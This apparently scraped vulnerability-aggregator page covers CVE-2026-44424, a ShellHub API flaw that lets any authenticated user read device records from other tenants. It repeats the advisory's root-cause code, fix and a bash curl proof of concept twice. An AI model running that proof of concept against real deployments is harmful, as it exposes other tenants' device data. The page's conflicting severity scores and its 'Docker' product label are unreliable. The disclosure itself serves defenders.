What is the CVSS score of CVE-2026-44424?

CVE-2026-44424 has a CVSS 3.1 base score of 6.5 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. EPSS exploitation probability: 0.0%.

Is there a patch available for CVE-2026-44424?

Yes, a patch is available for CVE-2026-44424. Update the affected software to the latest version immediately.

Docker CVE-2026-44424

Q: Which versions of Docker are affected by CVE-2026-44424?

## Summary `GET /api/devices/:uid` returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant).. A patch is available.

MEDIUM

Authorization Bypass Through User-Controlled Key (CWE-639)

2026-05-06 https://github.com/shellhub-io/shellhub

GHSA-j72x-xfwg-783f

Authentication Bypass Docker

6.5

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

6.5 MEDIUM

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

None

Availability

None

Lifecycle Timeline

CVE Published

May 06, 2026 - 23:19 nvd

MEDIUM 6.5

DescriptionGitHub Advisory

Summary

GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.

Severity

CVSS 3.1: 7.5 (High) CWE-639 - Authorization Bypass Through User-Controlled Key

Affected versions

ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.

Root cause

api/services/device.go:97-104 - GetDevice resolves the device by UID without scoping to the caller's tenant:

  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
      // ⚠️ missing: s.store.Options().InNamespace(tenant)
      ...
  }

Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).

The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context - not that the resource belongs to that tenant.

Proof of concept (validated live against v0.24.1)

Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).

bash

  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker","password":"..."}' | jq -r .token)

  TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
  VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
    -H 'Content-Type: application/json' \
    -d "{
      \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
      \"hostname\":\"poc\",
      \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
      \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
      \"tenant_id\":\"$TARGET_TENANT\"
    }" | jq -r .uid)
# Read the device from a completely different tenant
  curl -i "http://target/api/devices/$VICTIM_UID" \
    -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
#                     namespace name, OS info, last_seen, remote_addr, ...)

Impact

Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.

Suggested fix

In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:

  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      tenant := gateway.TenantFromContext(ctx)
      opts := []store.QueryOption{}
      if tenant != nil {
          opts = append(opts, s.store.Options().InNamespace(tenant.ID))
      }
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
      ...
  }

Analysis

Summary

Severity

CVSS 3.1: 7.5 (High) CWE-639 - Authorization Bypass Through User-Controlled Key

Affected versions

ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.

Root cause

api/services/device.go:97-104 - GetDevice resolves the device by UID without scoping to the caller's tenant:

  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
      // ⚠️ missing: s.store.Options().InNamespace(tenant)
      ...
  }

Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).

The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context - not that the resource belongs to that tenant.

Proof of concept (validated live against v0.24.1)

Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).

bash

  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker","password":"..."}' | jq -r .token)

  TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
  VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
    -H 'Content-Type: application/json' \
    -d "{
      \"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
      \"hostname\":\"poc\",
      \"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
      \"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
      \"tenant_id\":\"$TARGET_TENANT\"
    }" | jq -r .uid)
# Read the device from a completely different tenant
  curl -i "http://target/api/devices/$VICTIM_UID" \
    -H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed):   HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
#                     namespace name, OS info, last_seen, remote_addr, ...)

Impact

Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.

Suggested fix

In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:

  func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
      tenant := gateway.TenantFromContext(ctx)
      opts := []store.QueryOption{}
      if tenant != nil {
          opts = append(opts, s.store.Options().InNamespace(tenant.ID))
      }
      device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
      ...
  }